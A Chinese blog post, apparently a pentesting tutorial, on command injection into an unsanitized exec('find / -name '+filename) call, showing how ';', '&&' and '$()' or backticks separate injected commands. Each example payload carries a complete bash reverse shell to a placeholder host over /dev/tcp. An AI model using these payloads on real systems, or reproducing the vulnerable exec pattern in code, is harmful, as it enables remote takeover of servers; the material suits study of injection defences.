zoukankan      html  css  js  c++  java
  • 命令执行-多命令分隔技巧

    假设渗透中,通过代码审计发现又如下代码:

    filename=外部传参
    exec("find / -name "+filename)

    这里filename是外部传参到exec函数,调用find命令来在本地查找文件。可以确定这里一定存在远程命令执行,因为这里filename是外部传参,且没有经过任何过滤,也就是说恶意用户可以通过控制外部传参来执行更多命令,有如下几种方式

    一、分号隔断-';'

    分号可以用于在命令行中进行命令分隔,分号分隔的两个部分将作为两条命令进行执行。所以可以进行如下传参

    filename="test;/bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1"

    这时exec中执行的命令就变成了:

    find / -name test;/bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1

    从而分别执行了find命令,并向x.x.x.x反弹了一个shell、

    *该符号分隔的好处是,也可以不为-name提供参数实例,即可以省去命令中的'test',直接从分号后开始执行

    二、'&&'符号分隔

    &&在命令行中表示‘和’操作,当用该符号分隔是,命令行也会把命令当做两条命令顺序执行。所以可以进行如下传参

    filename="test && /bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1"

    这时exec中执行的命令就变成了:

    find / -name test && /bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1

    从而分别执行了find命令,并向x.x.x.x反弹了一个shell

    *该符号分隔不足的地方在于,'&&' 表示‘和’操作,所以只有第一条命令执行成功后才会执行到第二条命令,如果第一条命令报错,则执行不到第二条命令,所以这里不能省去命令中的'test'

    三、'$()'或'``'(esc键下面的,也叫反引号)分隔

    $()和``在shell中表示把括号内的脚本当做命令执行,所以可以用这种方法用来包含命令执行,所以可以进行如下传参

    filename="$(/bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1)"

    这是exec中执行的命令就变成了:

    find / -name $(/bin/bash  -i > /dev/tcp/x.x.x.x/9999 0<&1 2>&1)

    从而分别执行了两条命令

    ``和$()是同样的用法,不再赘述

    *$()和``都不需要为参数提供实例,但不是所有的shell都能使用,通常只在bash环境下使用

  • 相关阅读:
    堆排序
    阿里云
    ubuntu下编译内核模块
    字节对齐
    线段树
    c++虚函数表解析
    电面
    sql server数据库定时自动备份
    [hiho1584]Bounce
    五彩斑斓的世界
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/10313393.html
Copyright © 2011-2022 走看看